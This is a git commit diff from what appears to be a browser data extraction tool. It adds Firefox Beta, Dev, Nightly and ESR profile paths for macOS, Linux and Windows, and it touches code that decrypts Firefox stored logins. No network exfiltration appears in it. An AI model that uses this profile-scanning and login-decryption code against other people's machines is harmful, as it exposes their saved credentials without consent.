feat: support all versions of firefox, Close #73

pull/83/head
moond4rk 4 years ago committed by ᴍᴏᴏɴD4ʀᴋ
parent 4139bf56ee
commit 80f4dd4079
  1. 4
      core/browser.go
  2. 26
      core/browser_darwin.go
  3. 26
      core/browser_linux.go
  4. 36
      core/browser_windows.go
  5. 4
      core/decrypt/decrypt.go

@ -17,6 +17,10 @@ const (
chromiumName = "Chromium" chromiumName = "Chromium"
edgeName = "Microsoft Edge" edgeName = "Microsoft Edge"
firefoxName = "Firefox" firefoxName = "Firefox"
firefoxBetaName = "Firefox Beta"
firefoxDevName = "Firefox Dev"
firefoxNightlyName = "Firefox Nightly"
firefoxESRName = "Firefox ESR"
speed360Name = "360speed" speed360Name = "360speed"
qqBrowserName = "qq" qqBrowserName = "qq"
braveName = "Brave" braveName = "Brave"

@ -10,11 +10,15 @@ import (
) )
const ( const (
fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release/"
fireFoxBetaProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-beta/"
fireFoxDevProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.dev-edition-default/"
fireFoxNightlyProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-nightly/"
fireFoxESRProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-esr/"
chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/" chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/"
chromeBetaProfilePath = "/Users/*/Library/Application Support/Google/Chrome Beta/*/" chromeBetaProfilePath = "/Users/*/Library/Application Support/Google/Chrome Beta/*/"
chromiumProfilePath = "/Users/*/Library/Application Support/Chromium/*/" chromiumProfilePath = "/Users/*/Library/Application Support/Chromium/*/"
edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/" edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/"
fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default*/"
braveProfilePath = "/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/*/" braveProfilePath = "/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/*/"
operaProfilePath = "/Users/*/Library/Application Support/com.operasoftware.Opera/" operaProfilePath = "/Users/*/Library/Application Support/com.operasoftware.Opera/"
operaGXProfilePath = "/Users/*/Library/Application Support/com.operasoftware.OperaGX/" operaGXProfilePath = "/Users/*/Library/Application Support/com.operasoftware.OperaGX/"
@ -44,6 +48,26 @@ var (
Name: firefoxName, Name: firefoxName,
New: NewFirefox, New: NewFirefox,
}, },
"firefox-beta": {
ProfilePath: fireFoxBetaProfilePath,
Name: firefoxBetaName,
New: NewFirefox,
},
"firefox-dev": {
ProfilePath: fireFoxDevProfilePath,
Name: firefoxDevName,
New: NewFirefox,
},
"firefox-nightly": {
ProfilePath: fireFoxNightlyProfilePath,
Name: firefoxNightlyName,
New: NewFirefox,
},
"firefox-esr": {
ProfilePath: fireFoxESRProfilePath,
Name: firefoxESRName,
New: NewFirefox,
},
"chrome": { "chrome": {
ProfilePath: chromeProfilePath, ProfilePath: chromeProfilePath,
Name: chromeName, Name: chromeName,

@ -11,7 +11,11 @@ import (
) )
const ( const (
fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default*/" fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default-release/"
fireFoxBetaProfilePath = "/home/*/.mozilla/firefox/*.default-beta/"
fireFoxDevProfilePath = "/home/*/.mozilla/firefox/*.dev-edition-default/"
fireFoxNightlyProfilePath = "/home/*/.mozilla/firefox/*.default-nightly/"
fireFoxESRProfilePath = "/home/*/.mozilla/firefox/*.default-esr/"
chromeProfilePath = "/home/*/.config/google-chrome/*/" chromeProfilePath = "/home/*/.config/google-chrome/*/"
chromiumProfilePath = "/home/*/.config/chromium/*/" chromiumProfilePath = "/home/*/.config/chromium/*/"
edgeProfilePath = "/home/*/.config/microsoft-edge*/*/" edgeProfilePath = "/home/*/.config/microsoft-edge*/*/"
@ -44,6 +48,26 @@ var (
Name: firefoxName, Name: firefoxName,
New: NewFirefox, New: NewFirefox,
}, },
"firefox-beta": {
ProfilePath: fireFoxBetaProfilePath,
Name: firefoxBetaName,
New: NewFirefox,
},
"firefox-dev": {
ProfilePath: fireFoxDevProfilePath,
Name: firefoxDevName,
New: NewFirefox,
},
"firefox-nightly": {
ProfilePath: fireFoxNightlyProfilePath,
Name: firefoxNightlyName,
New: NewFirefox,
},
"firefox-esr": {
ProfilePath: fireFoxESRProfilePath,
Name: firefoxESRName,
New: NewFirefox,
},
"chrome": { "chrome": {
ProfilePath: chromeProfilePath, ProfilePath: chromeProfilePath,
Name: chromeName, Name: chromeName,

@ -13,6 +13,11 @@ import (
) )
const ( const (
firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release/"
fireFoxBetaProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-beta/"
fireFoxDevProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.dev-edition-default/"
fireFoxNightlyProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-nightly/"
fireFoxESRProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-esr/"
chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/" chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/"
chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State" chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State"
chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/*/" chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/*/"
@ -25,7 +30,6 @@ const (
braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State" braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State"
speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/" speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/"
qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/" qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/"
firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default*/"
operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/" operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/"
operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State" operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State"
operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/" operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/"
@ -42,6 +46,31 @@ var (
Storage string Storage string
New func(profile, key, name, storage string) (Browser, error) New func(profile, key, name, storage string) (Browser, error)
}{ }{
"firefox": {
ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath,
Name: firefoxName,
New: NewFirefox,
},
"firefox-beta": {
ProfilePath: os.Getenv("USERPROFILE") + fireFoxBetaProfilePath,
Name: firefoxBetaName,
New: NewFirefox,
},
"firefox-dev": {
ProfilePath: os.Getenv("USERPROFILE") + fireFoxDevProfilePath,
Name: firefoxDevName,
New: NewFirefox,
},
"firefox-nightly": {
ProfilePath: os.Getenv("USERPROFILE") + fireFoxNightlyProfilePath,
Name: firefoxNightlyName,
New: NewFirefox,
},
"firefox-esr": {
ProfilePath: os.Getenv("USERPROFILE") + fireFoxESRProfilePath,
Name: firefoxESRName,
New: NewFirefox,
},
"chrome": { "chrome": {
ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath, ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath,
KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath, KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath,
@ -76,11 +105,6 @@ var (
Name: qqBrowserName, Name: qqBrowserName,
New: NewChromium, New: NewChromium,
}, },
"firefox": {
ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath,
Name: firefoxName,
New: NewFirefox,
},
"brave": { "brave": {
ProfilePath: os.Getenv("USERPROFILE") + braveProfilePath, ProfilePath: os.Getenv("USERPROFILE") + braveProfilePath,
KeyPath: os.Getenv("USERPROFILE") + braveKeyPath, KeyPath: os.Getenv("USERPROFILE") + braveKeyPath,

@ -217,9 +217,9 @@ type LoginPBE struct {
type LoginSequence struct { type LoginSequence struct {
asn1.ObjectIdentifier asn1.ObjectIdentifier
Iv []byte IV []byte
} }
func (l LoginPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) { func (l LoginPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) {
return des3Decrypt(globalSalt, l.Iv, l.Encrypted) return des3Decrypt(globalSalt, l.IV, l.Encrypted)
} }

Loading…
Cancel
Save